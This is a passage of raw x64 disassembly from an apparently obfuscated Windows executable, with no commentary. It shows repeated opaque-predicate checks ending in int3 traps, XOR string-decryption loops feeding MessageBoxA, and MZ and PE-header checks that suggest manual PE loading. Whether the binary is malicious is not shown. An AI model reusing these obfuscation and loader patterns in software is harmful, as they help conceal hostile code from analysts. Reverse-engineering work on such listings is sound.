mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f6c8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f6c8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f6e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
test rsi, rsi
je 0x14004b8b9
cmp qword [rbp + 0x10f8], r15
je 0x14004b8b9
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14003f7bb
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f79b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f79b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f7bb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.14004c9fc
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400d49b0
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14003f886
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f866
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f866
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f886
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14003f930
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f910
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f910
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f930
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14004d0f8
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14003f9e8
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003f9c8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003f9c8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003f9e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14003faa7
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003fa87
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003fa87
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003faa7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14003fad4
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x14003fbed
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r12, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x14003fb64
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x14003fb47
mov rsi, qword [rbp - 0x40]
mov r12d, 0x5b964cd9
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x43]
mov ebx, 0xfbab80df
cmp rax, rbx
jne 0x14003fc9c
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003fc7c
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003fc7c
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003fc9c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14003fd46
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003fd26
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003fd26
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003fd46
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14003fdf0
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003fdd0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003fdd0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003fdf0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rcx, qword gs:[0x43]
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x1400401c4
cmp rcx, rbx
jne 0x14003febd
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003fe9d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003fe9d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003febd
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0x85
mov r10, r15
movabs rbx, 0x12a982443
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x13d41a6873
movabs r9, 0x27a834d0e6
movabs r14, 0x12a982442
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003ff11
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400f6150]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400f6110]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400f5fa0]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xe2594cdf
mov dword [rbp + 0xc8c], 0xbc5a8ee2
mov dword [rbp + 0xc90], 0x39fe7142
mov word [rbp + 0xc94], 0xe4
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x472640a3f7
movabs r11, 0x8e4c8147ee
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14003ffe9
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x43]
mov r15d, 0xfbab80df
cmp rax, r15
jne 0x140040116
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400400f6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400400f6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040116
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r15
jne 0x14004bbc6
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400401a4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400401a4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004bbc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
cmp rcx, rbx
jne 0x140040265
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040245
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040245
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040265
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140040332
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040312
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040312
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040332
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x140040712
cmp rax, rbx
jne 0x140040401
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400403e1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400403e1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040401
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0x85
mov r10, r15
movabs rbx, 0x12a982443
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x13d41a6873
movabs r9, 0x27a834d0e6
movabs r14, 0x12a982442
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140040455
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400f6150]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400f6130]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400f5fa0]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xe2594cdf
mov dword [rbp + 0xccc], 0xbc5a8ee2
mov dword [rbp + 0xcd0], 0x39fe7142
mov word [rbp + 0xcd4], 0xe4
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x472640a3f7
movabs r11, 0x8e4c8147ee
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14004052d
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x43]
mov r15d, 0xfbab80df
cmp rax, r15
jne 0x14004065a
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004063a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004063a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004065a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r15
jne 0x14004bbc6
mov rax, qword gs:[0x5f]
movabs rcx, 0xe4d4ec93abfbca11
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400406f2
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400406f2
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004bbc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
cmp rax, rbx
jne 0x1400407b3
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040793
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040793
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400407b3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400f6000]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x7c9cf4fe
mov dword [rbp + 0x98c], 0x5c087374
mov dword [rbp + 0x990], 0x83f006d4
mov word [rbp + 0x994], 0xdcb
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x12a982442
lea r10d, [rax + 0x1e]
movabs r9, 0x22fdd43fda
movabs r12, 0x12a982443
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x978]
xor dil, r8b
mov byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x45fba87fb4
cmp r9, rax
jb 0x140040828
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400f60e0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400f5f90]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
mov r10d, Ordinal_35
movabs r9, 0x24286c641d
movabs r14, 0x4850d8c83a
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, r14
jb 0x1400408e9
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14004bbd4
mov rax, qword gs:[0x43]
movabs r14, 0xe4d4ec93abfbca11
cmp rax, rbx
jne 0x140040a52
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040a32
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040a32
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040a52
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
mov esi, 0x5b964cd9
cmp rax, rbx
jne 0x140040b01
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040ae1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040ae1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040b01
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
xor ecx, ecx
call fcn.1400b6624
mov rcx, rax
call fcn.1400b1f04
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140040bba
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040b9a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040b9a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040bba
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140040c64
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040c44
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040c44
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040c64
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140040d0e
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040cee
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040cee
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040d0e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
mov edi, 0x110c4ff0
cmp rax, rbx
jne 0x140040dcf
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
